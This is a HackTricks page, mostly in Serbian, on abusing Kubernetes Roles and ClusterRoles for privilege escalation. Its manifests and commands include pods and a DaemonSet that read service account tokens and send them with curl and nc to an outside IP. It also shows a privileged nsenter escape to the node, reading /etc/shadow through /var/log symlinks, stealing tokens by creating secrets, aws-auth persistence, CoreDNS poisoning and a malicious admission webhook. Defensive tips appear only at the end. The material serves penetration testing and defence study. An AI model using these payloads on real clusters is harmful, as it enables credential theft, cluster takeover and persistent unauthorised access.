Abusing Roles/ClusterRoles in Kubernetes

Reading time: 26 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Ovde možete pronaći neke potencijalno opasne konfiguracije Roles i ClusterRoles.
Zapamtite da možete dobiti sve podržane resurse sa kubectl api-resources

Privilege Escalation

Ovo se odnosi na veštinu dobijanja pristupa različitom principalu unutar klastera sa različitim privilegijama (unutar kubernetes klastera ili na eksternim cloud-ovima) od onih koje već imate, u Kubernetes-u postoje osnovno 4 glavne tehnike za eskalaciju privilegija:

  • Mogućnost da imituješ druge korisnike/grupe/SAs sa boljim privilegijama unutar kubernetes klastera ili na eksternim cloud-ovima
  • Mogućnost da kreiraš/patch-uješ/izvršavaš podove gde možeš pronaći ili priključiti SAs sa boljim privilegijama unutar kubernetes klastera ili na eksternim cloud-ovima
  • Mogućnost da čitaš tajne jer su SAs tokeni pohranjeni kao tajne
  • Mogućnost da pobegneš na čvor iz kontejnera, gde možeš ukrasti sve tajne kontejnera koji se izvršavaju na čvoru, kredencijale čvora i dozvole čvora unutar clouda u kojem se izvršava (ako ih ima)
  • Peta tehnika koja zaslužuje pominjanje je sposobnost da pokreneš port-forward u podu, jer možeš imati pristup zanimljivim resursima unutar tog poda.

Access Any Resource or Verb (Wildcard)

wildcard (*) daje dozvolu za bilo koji resurs sa bilo kojim glagolom. Koriste ga administratori. Unutar ClusterRole to znači da bi napadač mogao da zloupotrebi bilo koji namespace u klasteru

yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]

Pristup bilo kojem resursu sa specifičnom glagolskom radnjom

U RBAC-u, određene dozvole predstavljaju značajne rizike:

  1. create: Daje mogućnost kreiranja bilo kojeg klasterskog resursa, što može dovesti do eskalacije privilegija.
  2. list: Omogućava listanje svih resursa, potencijalno otkrivajući osetljive podatke.
  3. get: Dozvoljava pristup tajnama iz servisnih naloga, što predstavlja bezbednosnu pretnju.
yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["create", "list", "get"]

Pod Create - Steal Token

Napadač sa dozvolama za kreiranje poda može da prikači privilegovani Service Account u pod i ukrade token kako bi se pretvarao da je taj Service Account. Efektivno povećavajući privilegije.

Primer poda koji će ukrasti token bootstrap-signer service account-a i poslati ga napadaču:

yaml
apiVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args:
[
"-c",
'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
]
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true

Pod Create & Escape

Sledeće ukazuje na sve privilegije koje kontejner može imati:

  • Privilegovan pristup (onemogućavanje zaštita i postavljanje sposobnosti)
  • Onemogućavanje namespaces hostIPC i hostPid koji mogu pomoći u eskalaciji privilegija
  • Onemogućavanje hostNetwork namespace-a, dajući pristup za krađu privilegija čvora u oblaku i bolji pristup mrežama
  • Montiranje hostova / unutar kontejnera
super_privs.yaml
apiVersion: v1
kind: Pod
metadata:
name: ubuntu
labels:
app: ubuntu
spec:
# Uncomment and specify a specific node you want to debug
# nodeName: <insert-node-name-here>
containers:
- image: ubuntu
command:
- "sleep"
- "3600" # adjust this as needed -- use only as long as you need
imagePullPolicy: IfNotPresent
name: ubuntu
securityContext:
allowPrivilegeEscalation: true
privileged: true
#capabilities:
#  add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html
runAsUser: 0 # run as root (or any other user)
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never # we want to be intentional about running this pod
hostIPC: true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html
hostNetwork: true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html
hostPID: true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_
volumes:
- name: host-volume
hostPath:
path: /

Kreirajte pod sa:

bash
kubectl --token $token create -f mount_root.yaml

Jednolinijska komanda iz ovog tvita i sa nekim dodacima:

bash
kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'

Sada kada možete da pobegnete na čvor, proverite tehnike post-ekspolatacije u:

Stealth

Verovatno želite da budete diskretniji, na sledećim stranicama možete videti šta biste mogli da pristupite ako kreirate pod omogućavajući samo neka od pomenutih privilegija u prethodnom šablonu:

  • Privileged + hostPID
  • Privileged only
  • hostPath
  • hostPID
  • hostNetwork
  • hostIPC

Možete pronaći primer kako da kreirate/iskoristite prethodne privilegovane konfiguracije podova u https://github.com/BishopFox/badPods

Pod Create - Move to cloud

Ako možete da kreirate pod (i opcionalno service account) možda ćete moći da dobijete privilegije u cloud okruženju dodeljujući cloud role podu ili service account-u i zatim mu pristupajući.
Štaviše, ako možete da kreirate pod sa host network namespace možete ukrasti IAM ulogu node instance.

Za više informacija proverite:

Pod Escape Privileges

Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs

Moguće je iskoristiti ove dozvole da kreirate novi pod i uspostavite privilegije kao u prethodnom primeru.

Sledeći yaml kreira daemonset i eksfiltrira token SA unutar poda:

yaml
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: kube-system
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args:
[
"-c",
'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
]
volumeMounts:
- mountPath: /root
name: mount-node-root
volumes:
- name: mount-node-root
hostPath:
path: /

Pods Exec

pods/exec je resurs u kubernetes-u koji se koristi za izvršavanje komandi u shell-u unutar poda. Ovo omogućava izvršavanje komandi unutar kontejnera ili dobijanje shell-a unutar.

Stoga, moguće je ući u pod i ukrasti token SA, ili ući u privilegovani pod, pobjeći na čvor i ukrasti sve tokene podova na čvoru i (zlo)upotrebiti čvor:

bash
kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh

note

Po defaultu, komanda se izvršava u prvom kontejneru poda. Dobijte sve podove u kontejneru sa kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}' i zatim naznačite kontejner u kojem želite da ga izvršite sa kubectl exec -it <pod_name> -c <container_name> -- sh

Ako je u pitanju distroless kontejner, možete pokušati da koristite shell builtins da dobijete informacije o kontejnerima ili da otpremite svoje alate poput busybox koristeći: kubectl cp </path/local/file> <podname>:</path/in/container>.

port-forward

Ova dozvola omogućava prosleđivanje jednog lokalnog porta na jedan port u specificiranom podu. Ovo je namenjeno da se olakša debagovanje aplikacija koje se izvršavaju unutar poda, ali napadač bi to mogao zloupotrebiti da dobije pristup zanimljivim (kao što su DB-ovi) ili ranjivim aplikacijama (web?) unutar poda:

bash
kubectl port-forward pod/mypod 5000:5000

Hosts Writable /var/log/ Escape

As indicated in this research, if you can access or create a pod with the hosts /var/log/ directory mounted on it, you can escape from the container.
This is basically because the when the Kube-API tries to get the logs of a container (using kubectl logs <pod>), it requests the 0.log file of the pod using the /logs/ endpoint of the Kubelet service.
The Kubelet service exposes the /logs/ endpoint which is just basically exposing the /var/log filesystem of the container.

Therefore, an attacker with access to write in the /var/log/ folder of the container could abuse this behaviours in 2 ways:

  • Modifying the 0.log file of its container (usually located in /var/logs/pods/namespace_pod_uid/container/0.log) to be a symlink pointing to /etc/shadow for example. Then, you will be able to exfiltrate hosts shadow file doing:
bash
kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file
  • Ako napadač kontroliše bilo koji princip sa dozvolama za čitanje nodes/log, može jednostavno da kreira symlink u /host-mounted/var/log/sym ka / i kada pristupi https://<gateway>:10250/logs/sym/ prikazaće korenski fajl sistem hosta (promena symlinka može omogućiti pristup fajlovima).
bash
curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
<a href="data/">data/</a>
<a href="dev/">dev/</a>
<a href="etc/">etc/</a>
<a href="home/">home/</a>
<a href="init">init</a>
<a href="lib">lib</a>
[...]

Laboratorija i automatizovani exploit mogu se naći na https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts

Obilaženje readOnly zaštite

Ako imate sreće i visoko privilegisana sposobnost CAP_SYS_ADMIN je dostupna, možete jednostavno ponovo montirati folder kao rw:

bash
mount -o rw,remount /hostlogs/

Bypassing hostPath readOnly protection

Kao što je navedeno u ovoj studiji, moguće je zaobići zaštitu:

yaml
allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true

Koji je bio zamišljen da spreči eskape poput prethodnih, tako što će umesto korišćenja hostPath montaže, koristiti PersistentVolume i PersistentVolumeClaim za montiranje foldera domaćina u kontejner sa pristupom za pisanje:

yaml
apiVersion: v1
kind: PersistentVolume
metadata:
name: task-pv-volume-vol
labels:
type: local
spec:
storageClassName: manual
capacity:
storage: 10Gi
accessModes:
- ReadWriteOnce
hostPath:
path: "/var/log"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: task-pv-claim-vol
spec:
storageClassName: manual
accessModes:
- ReadWriteOnce
resources:
requests:
storage: 3Gi
---
apiVersion: v1
kind: Pod
metadata:
name: task-pv-pod
spec:
volumes:
- name: task-pv-storage-vol
persistentVolumeClaim:
claimName: task-pv-claim-vol
containers:
- name: task-pv-container
image: ubuntu:latest
command: ["sh", "-c", "sleep 1h"]
volumeMounts:
- mountPath: "/hostlogs"
name: task-pv-storage-vol

Imitiranje privilegovanih naloga

Sa privilegijom imitacije korisnika, napadač može imitirati privilegovan nalog.

Jednostavno koristite parametar --as=<username> u kubectl komandi da biste imitirali korisnika, ili --as-group=<group> da biste imitirali grupu:

bash
kubectl get pods --as=system:serviceaccount:kube-system:default
kubectl get secrets --as=null --as-group=system:masters

Ili koristite REST API:

bash
curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
-H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Listing Secrets

Dozvola da prikazuje tajne može omogućiti napadaču da zapravo pročita tajne pristupajući REST API kraju:

bash
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Kreiranje i Čitanje Tajni

Postoji posebna vrsta Kubernetes tajne tipa kubernetes.io/service-account-token koja čuva tokene servisnog naloga. Ako imate dozvole za kreiranje i čitanje tajni, i takođe znate ime servisnog naloga, možete kreirati tajnu na sledeći način i zatim ukrasti token servisnog naloga žrtve iz nje:

yaml
apiVersion: v1
kind: Secret
metadata:
name: stolen-admin-sa-token
namespace: default
annotations:
kubernetes.io/service-account.name: cluster-admin-sa
type: kubernetes.io/service-account-token

Primer iskorišćavanja:

bash
$ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa)

$ kubectl auth can-i --list --token=$SECRETS_MANAGER_TOKEN
Warning: the list may be incomplete: webhook authorizer does not support user rule resolution
Resources                                       Non-Resource URLs                      Resource Names   Verbs
selfsubjectreviews.authentication.k8s.io        []                                     []               [create]
selfsubjectaccessreviews.authorization.k8s.io   []                                     []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                     []               [create]
secrets                                         []                                     []               [get create]
[/.well-known/openid-configuration/]   []               [get]
<SNIP>
[/version]                             []               [get]

$ kubectl create token cluster-admin-sa --token=$SECRETS_MANAGER_TOKEN
error: failed to create token: serviceaccounts "cluster-admin-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot create resource "serviceaccounts/token" in API group "" in the namespace "default"

$ kubectl get pods --token=$SECRETS_MANAGER_TOKEN --as=system:serviceaccount:default:secrets-manager-sa
Error from server (Forbidden): serviceaccounts "secrets-manager-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot impersonate resource "serviceaccounts" in API group "" in the namespace "default"

$ kubectl apply -f ./secret-that-steals-another-sa-token.yaml --token=$SECRETS_MANAGER_TOKEN
secret/stolen-admin-sa-token created

$ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o json
{
"apiVersion": "v1",
"data": {
"ca.crt": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FU<SNIP>UlRJRklDQVRFLS0tLS0K",
"namespace": "ZGVmYXVsdA==",
"token": "ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWk<SNIP>jYkowNWlCYjViMEJUSE1NcUNIY0h4QTg2aXc="
},
"kind": "Secret",
"metadata": {
"annotations": {
"kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\n",
"kubernetes.io/service-account.name": "cluster-admin-sa",
"kubernetes.io/service-account.uid": "faf97f14-1102-4cb9-9ee0-857a6695973f"
},
"creationTimestamp": "2025-01-11T13:02:27Z",
"name": "stolen-admin-sa-token",
"namespace": "default",
"resourceVersion": "1019116",
"uid": "680d119f-89d0-4fc6-8eef-1396600d7556"
},
"type": "kubernetes.io/service-account-token"
}

Napomena da, ako vam je dozvoljeno da kreirate i čitate tajne u određenom namespace-u, žrtvinska serviceaccount takođe mora biti u tom istom namespace-u.

Čitanje tajne – brute-forcing token ID-ova

Dok napadač u posedu tokena sa pravima čitanja zahteva tačno ime tajne da bi je koristio, za razliku od šireg listing secrets privilegije, i dalje postoje ranjivosti. Podrazumevani service accounts u sistemu mogu se enumerisati, svaki povezan sa tajnom. Ove tajne imaju strukturu imena: statički prefiks praćen nasumičnim alfanumeričkim tokenom od pet karaktera (izuzimajući određene karaktere) prema izvornom kodu.

Token se generiše iz ograničenog skupa od 27 karaktera (bcdfghjklmnpqrstvwxz2456789), umesto iz celog alfanumeričkog opsega. Ova ograničenja smanjuju ukupan broj mogućih kombinacija na 14,348,907 (27^5). Kao rezultat, napadač bi mogao izvesti brute-force napad kako bi dedukovao token u roku od nekoliko sati, što potencijalno može dovesti do eskalacije privilegija pristupom osetljivim service accounts.

EncrpytionConfiguration u čistom tekstu

Moguće je pronaći ključeve u čistom tekstu za enkripciju podataka u mirovanju u ovoj vrsti objekta kao:

yaml
# From https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/

#
# CAUTION: this is an example configuration.
#          Do not use this for your own cluster!
#

apiVersion: apiserver.config.k8s.io/v1
kind: EncryptionConfiguration
resources:
- resources:
- secrets
- configmaps
- pandas.awesome.bears.example # a custom resource API
providers:
# This configuration does not provide data confidentiality. The first
# configured provider is specifying the "identity" mechanism, which
# stores resources as plain text.
#
- identity: {} # plain text, in other words NO encryption
- aesgcm:
keys:
- name: key1
secret: c2VjcmV0IGlzIHNlY3VyZQ==
- name: key2
secret: dGhpcyBpcyBwYXNzd29yZA==
- aescbc:
keys:
- name: key1
secret: c2VjcmV0IGlzIHNlY3VyZQ==
- name: key2
secret: dGhpcyBpcyBwYXNzd29yZA==
- secretbox:
keys:
- name: key1
secret: YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXoxMjM0NTY=
- resources:
- events
providers:
- identity: {} # do not encrypt Events even though *.* is specified below
- resources:
- '*.apps' # wildcard match requires Kubernetes 1.27 or later
providers:
- aescbc:
keys:
- name: key2
secret: c2VjcmV0IGlzIHNlY3VyZSwgb3IgaXMgaXQ/Cg==
- resources:
- '*.*' # wildcard match requires Kubernetes 1.27 or later
providers:
- aescbc:
keys:
- name: key3
secret: c2VjcmV0IGlzIHNlY3VyZSwgSSB0aGluaw==

Certificate Signing Requests

Ako imate glagole create u resursu certificatesigningrequests (ili barem u certificatesigningrequests/nodeClient). Možete create novi CeSR novog noda.

Prema dokumentaciji, moguće je automatski odobriti ove zahteve, tako da u tom slučaju ne trebaju vam dodatne dozvole. Ako ne, morali biste biti u mogućnosti da odobrite zahtev, što znači ažuriranje u certificatesigningrequests/approval i approve u signers sa resourceName <signerNameDomain>/<signerNamePath> ili <signerNameDomain>/*

Primer uloge sa svim potrebnim dozvolama je:

yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: csr-approver
rules:
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests
verbs:
- get
- list
- watch
- create
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests/approval
verbs:
- update
- apiGroups:
- certificates.k8s.io
resources:
- signers
resourceNames:
- example.com/my-signer-name # example.com/* can be used to authorize for all signers in the 'example.com' domain
verbs:
- approve

Dakle, sa odobrenim novim node CSR-om, možete iskoristiti posebne dozvole nodova da ukradete tajne i povećate privilegije.

U ovom postu i ovom GKE K8s TLS Bootstrap konfiguracija je podešena sa automatskim potpisivanjem i koristi se za generisanje kredencijala novog K8s nod-a, a zatim se ti kredencijali koriste za povećanje privilegija ukradanjem tajni.
Ako imate pomenute privilegije, mogli biste uraditi istu stvar. Imajte na umu da prvi primer zaobilazi grešku koja sprečava novi nod da pristupi tajnama unutar kontejnera jer nod može pristupiti samo tajnama kontejnera koji su montirani na njemu.

Način da se to zaobiđe je jednostavno napraviti kredencijale nod-a za ime nod-a gde je kontejner sa zanimljivim tajnama montiran (ali samo proverite kako to uraditi u prvom postu):

bash
"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"

AWS EKS aws-auth configmaps

Principals koji mogu da modifikuju configmaps u kube-system imenskom prostoru na EKS (moraju biti u AWS) klasterima mogu dobiti privilegije klaster admina prepisivanjem aws-auth configmap-a.
Potrebni glagoli su update i patch, ili create ako configmap nije kreiran:

bash
# Check if config map exists
get configmap aws-auth -n kube-system -o yaml

## Yaml example
apiVersion: v1
kind: ConfigMap
metadata:
name: aws-auth
namespace: kube-system
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node{{EC2PrivateDNSName}}
groups:
- system:masters

# Create donfig map is doesn't exist
## Using kubectl and the previous yaml
kubectl apply -f /tmp/aws-auth.yaml
## Using eksctl
eksctl create iamidentitymapping --cluster Testing --region us-east-1 --arn arn:aws:iam::123456789098:role/SomeRoleTestName --group "system:masters" --no-duplicate-arns

# Modify it
kubectl edit -n kube-system configmap/aws-auth
## You can modify it to even give access to users from other accounts
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node{{EC2PrivateDNSName}}
groups:
- system:masters
mapUsers: |
- userarn: arn:aws:iam::098765432123:user/SomeUserTestName
username: admin
groups:
- system:masters

warning

Možete koristiti aws-auth za persistence davanje pristupa korisnicima iz drugih naloga.

Međutim, aws --profile other_account eks update-kubeconfig --name <cluster-name> ne radi iz drugog naloga. Ali zapravo aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing radi ako stavite ARN klastera umesto samo imena.
Da bi kubectl radio, samo se pobrinite da konfigurišete kubeconfig žrtve i u aws exec argumentima dodajte --profile other_account_role tako da kubectl koristi profil drugog naloga za dobijanje tokena i kontaktiranje AWS-a.

CoreDNS config map

Ako imate dozvole da modifikujete coredns configmap u kube-system namespace-u, možete modifikovati adrese na koje će se domeni rešavati kako biste mogli da izvršite MitM napade za krađu osetljivih informacija ili injektovanje malicioznog sadržaja.

Glagoli koji su potrebni su update i patch nad coredns configmap-om (ili svim config mapama).

Običan coredns fajl sadrži nešto poput ovoga:

yaml
data:
Corefile: |
.:53 {
log
errors
health {
lameduck 5s
}
ready
kubernetes cluster.local in-addr.arpa ip6.arpa {
pods insecure
fallthrough in-addr.arpa ip6.arpa
ttl 30
}
prometheus :9153
hosts {
192.168.49.1 host.minikube.internal
fallthrough
}
forward . /etc/resolv.conf {
max_concurrent 1000
}
cache 30
loop
reload
loadbalance
}

Napadač može preuzeti to pokretanjem kubectl get configmap coredns -n kube-system -o yaml, izmeniti ga dodajući nešto poput rewrite name victim.com attacker.com, tako da kada se pristupi victim.com, zapravo se pristupa attacker.com. Zatim se može primeniti pokretanjem kubectl apply -f poison_dns.yaml.

Druga opcija je jednostavno izmeniti datoteku pokretanjem kubectl edit configmap coredns -n kube-system i napraviti izmene.

Eskalacija u GKE

Postoje 2 načina za dodeljivanje K8s dozvola GCP principalima. U svakom slučaju, principal takođe treba dozvolu container.clusters.get da bi mogao da prikupi akreditive za pristup klasteru, ili ćete morati da generišete svoj kubectl config fajl (pratite sledeći link).

warning

Kada se komunicira sa K8s API krajnjom tačkom, GCP auth token će biti poslat. Tada će GCP, preko K8s API krajnje tačke, prvo proveriti da li principal (prema emailu) ima bilo kakav pristup unutar klastera, zatim će proveriti da li ima bilo kakav pristup putem GCP IAM.
Ako je bilo koja od ovih tačna, biće mu odgovoreno. Ako nije, biće data greška koja sugeriše da se dozvole dodele putem GCP IAM.

Prva metoda je korišćenje GCP IAM, K8s dozvole imaju svoje ekvivalentne GCP IAM dozvole, i ako principal to ima, moći će da ih koristi.

GCP - Container Privesc

Druga metoda je dodeljivanje K8s dozvola unutar klastera identifikovanjem korisnika prema njegovom emailu (uključujući GCP servisne naloge).

Kreiranje tokena za servisne naloge

Principali koji mogu kreirati TokenRequests (serviceaccounts/token) kada komuniciraju sa K8s API krajnjom tačkom SAs (informacije iz ovde).

ephemeralcontainers

Principali koji mogu update ili patch pods/ephemeralcontainers mogu dobiti izvršavanje koda na drugim podovima, i potencijalno izbeći na njihov čvor dodavanjem ephemeral kontejnera sa privilegovanim securityContext.

ValidatingWebhookConfigurations ili MutatingWebhookConfigurations

Principali sa bilo kojim od glagola create, update ili patch nad validatingwebhookconfigurations ili mutatingwebhookconfigurations mogli bi biti u mogućnosti da kreiraju jednu od takvih webhookconfigurations kako bi mogli da escaliraju privilegije.

Za mutatingwebhookconfigurations primer proverite ovu sekciju ovog posta.

Eskalirati

Kao što možete pročitati u sledećoj sekciji: Ugrađena prevencija eskalacije privilegija, principal ne može ažurirati niti kreirati uloge ili clusterrole bez da sam ima te nove dozvole. Osim ako ima glagol escalate ili * nad roles ili clusterroles i odgovarajuće opcije vezivanja.
Tada može ažurirati/kreati nove uloge, clusterrole sa boljim dozvolama od onih koje ima.

Nodes proxy

Principali sa pristupom nodes/proxy podresursu mogu izvršavati kod na podovima putem Kubelet API (prema ovome). Više informacija o Kubelet autentifikaciji na ovoj stranici:

Kubelet Authentication & Authorization

Imate primer kako dobiti RCE razgovarajući autorizovano sa Kubelet API ovde.

Brisanje podova + neschedulabilni čvorovi

Principali koji mogu brisati podove (delete glagol nad pods resursom), ili izbacivati podove (create glagol nad pods/eviction resursom), ili menjati status podova (pristup pods/status) i mogu učiniti druge čvorove neschedulabilnim (pristup nodes/status) ili brisati čvorove (delete glagol nad nodes resursom) i imaju kontrolu nad podom, mogli bi ukrasti podove sa drugih čvorova tako da se izvršavaju na kompromitovanom čvoru i napadač može ukrasti tokene iz tih podova.

bash
patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
}

while true; do patch_node_capacity <id_other_node>; done &
#Launch previous line with all the nodes you need to attack

kubectl delete pods -n kube-system <privileged_pod_name>

Status usluga (CVE-2020-8554)

Principali koji mogu modifikovati services/status mogu postaviti polje status.loadBalancer.ingress.ip da iskoriste neispravljeni CVE-2020-8554 i pokrenu MiTM napade protiv klastera. Većina mera za ublažavanje CVE-2020-8554 samo sprečava ExternalIP usluge (prema ovome).

Status čvorova i podova

Principali sa update ili patch dozvolama nad nodes/status ili pods/status, mogli bi modifikovati oznake kako bi uticali na ograničenja raspoređivanja.

Ugrađena prevencija eskalacije privilegija

Kubernetes ima ugrađeni mehanizam za sprečavanje eskalacije privilegija.

Ovaj sistem osigurava da korisnici ne mogu povećati svoje privilegije modifikovanjem uloga ili veza uloga. Sprovođenje ovog pravila se dešava na API nivou, pružajući zaštitu čak i kada je RBAC autorizator neaktivan.

Pravilo stipulira da korisnik može kreirati ili ažurirati ulogu samo ako poseduje sve dozvole koje uloga obuhvata. Štaviše, opseg postojećih dozvola korisnika mora se poklapati sa onim uloge koju pokušava da kreira ili modifikuje: ili na nivou klastera za ClusterRoles ili ograničeno na istu namespace (ili na nivou klastera) za Roles.

warning

Postoji izuzetak od prethodnog pravila. Ako neki principal ima glagol escalate nad roles ili clusterroles, može povećati privilegije uloga i clusterroles čak i bez da ih sam poseduje.

Dobijanje i patch RoleBindings/ClusterRoleBindings

caution

Očigledno je da je ova tehnika ranije radila, ali prema mojim testovima više ne funkcioniše iz istog razloga objašnjenog u prethodnom odeljku. Ne možete kreirati/modifikovati rolebinding da biste sebi ili drugom SA dali neke privilegije ako ih već nemate.

Privilegija za kreiranje Rolebindings omogućava korisniku da veže uloge za servisni nalog. Ova privilegija može potencijalno dovesti do eskalacije privilegija jer omogućava korisniku da veže administratorske privilegije za kompromitovani servisni nalog.

Ostali napadi

Sidecar proxy aplikacija

Po defaultu, ne postoji nikakva enkripcija u komunikaciji između podova. Uzajamna autentifikacija, dvosmerna, pod do poda.

Kreiranje sidecar proxy aplikacije

Sidecar kontejner se sastoji samo od dodavanja drugog (ili više) kontejnera unutar poda.

Na primer, sledeće je deo konfiguracije poda sa 2 kontejnera:

yaml
spec:
containers:
- name: main-application
image: nginx
- name: sidecar-container
image: busybox
command: ["sh","-c","<execute something in the same pod but different container>"]

Na primer, da biste uneli backdoor u postojeći pod sa novim kontejnerom, možete jednostavno dodati novi kontejner u specifikaciju. Imajte na umu da možete dati više dozvola drugom kontejneru koje prvi neće imati.

Više informacija na: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/

Malicious Admission Controller

Admission controller presreće zahteve ka Kubernetes API serveru pre nego što dođe do trajanja objekta, ali nakon što je zahtev autentifikovan i autorizovan.

Ako napadač nekako uspe da ubaci Mutation Admission Controller, moći će da modifikuje već autentifikovane zahteve. Biće u mogućnosti da potencijalno izvrši privesc, i obično da se zadrži u klasteru.

Primer iz https://blog.rewanthtammana.com/creating-malicious-admission-controllers:

bash
git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
cd malicious-admission-controller-webhook-demo
./deploy.sh
kubectl get po -n webhook-demo -w

Proverite status da vidite da li je spremno:

bash
kubectl get mutatingwebhookconfigurations
kubectl get deploy,svc -n webhook-demo

mutating-webhook-status-check.PNG

Zatim implementirajte novi pod:

bash
kubectl run nginx --image nginx
kubectl get po -w

Kada vidite grešku ErrImagePull, proverite ime slike pomoću jednog od upita:

bash
kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "

malicious-admission-controller.PNG

Kao što možete videti na gornjoj slici, pokušali smo da pokrenemo sliku nginx, ali je konačno izvršena slika rewanthtammana/malicious-image. Šta se upravo desilo!!?

Tehnički detalji

Skript ./deploy.sh uspostavlja mutirajući webhook admission controller, koji modifikuje zahteve ka Kubernetes API-ju kako je navedeno u njegovim konfiguracionim linijama, utičući na posmatrane rezultate:

patches = append(patches, patchOperation{
Op:    "replace",
Path:  "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
})

Gore navedeni isječak zamenjuje prvu sliku kontejnera u svakom podu sa rewanthtammana/malicious-image.

OPA Gatekeeper zaobilaženje

Kubernetes OPA Gatekeeper bypass

Najbolje prakse

Onemogućavanje automount-a tokena servisnog naloga

  • Podovi i servisni nalozi: Podovi po defaultu montiraju token servisnog naloga. Da bi se poboljšala sigurnost, Kubernetes omogućava onemogućavanje ove automount funkcije.
  • Kako primeniti: Postavite automountServiceAccountToken: false u konfiguraciji servisnih naloga ili podova počevši od Kubernetes verzije 1.6.

Restriktivno dodeljivanje korisnika u RoleBindings/ClusterRoleBindings

  • Selektivno uključivanje: Osigurajte da su samo neophodni korisnici uključeni u RoleBindings ili ClusterRoleBindings. Redovno vršite reviziju i uklanjajte irelevantne korisnike kako biste održali visoku sigurnost.

Uloge specifične za namespace umesto uloga na nivou klastera

  • Uloge vs. ClusterRoles: Preferirajte korišćenje Uloga i RoleBindings za dozvole specifične za namespace umesto ClusterRoles i ClusterRoleBindings, koje se primenjuju na nivou klastera. Ovaj pristup nudi finiju kontrolu i ograničava opseg dozvola.

Koristite automatizovane alate

GitHub - cyberark/KubiScan: A tool to scan Kubernetes cluster for risky permissions

